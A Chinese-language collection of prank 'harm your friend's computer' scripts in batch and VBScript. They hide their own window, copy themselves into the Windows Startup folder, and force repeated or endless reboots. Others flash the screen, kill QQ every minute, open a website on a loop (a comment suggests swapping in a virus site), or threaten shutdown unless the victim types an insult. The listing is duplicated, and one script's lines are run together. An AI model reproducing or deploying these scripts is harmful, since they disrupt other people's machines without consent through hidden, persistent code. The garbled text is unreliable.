1、让对方重启5次
@if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %�
)
goto a
3、每隔1分钟就停止QQ 过程
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开端」菜单程序启动"
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 1>nul
%0
4、每隔120秒就弹出指定网站!
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
start http://user.qzone.qq.com/10001058
::也能够换成有病毒的网站!不算恶吧?
ping 127.1 -n 120 1>nul
%0
5、无穷重启
Copy code
@echo offcopy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"shutdown.exe -r -t 0
6、输入“我是猪”否则关机(vbs)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点肯定,否则我帮你关机,目前倒计时60秒,有种就别说"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","【^(oo)^】制造"," 请输入“我是猪”并且点断定,终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
@if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2
2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %�
)
goto a
3、每隔1分钟就停止QQ 过程
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开端」菜单程序启动"
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 1>nul
%0
4、每隔120秒就弹出指定网站!
@echo off
if not %1*==h* mshta vbscript:createobject("wscript.shell").run("%~sf0 h%",0)(window.close)&exit
copy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"
start http://user.qzone.qq.com/10001058
::也能够换成有病毒的网站!不算恶吧?
ping 127.1 -n 120 1>nul
%0
5、无穷重启
Copy code
@echo offcopy /y %0 "C:Documents and SettingsAdministrator「开始」菜单程序启动"shutdown.exe -r -t 0
6、输入“我是猪”否则关机(vbs)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点肯定,否则我帮你关机,目前倒计时60秒,有种就别说"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","【^(oo)^】制造"," 请输入“我是猪”并且点断定,终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"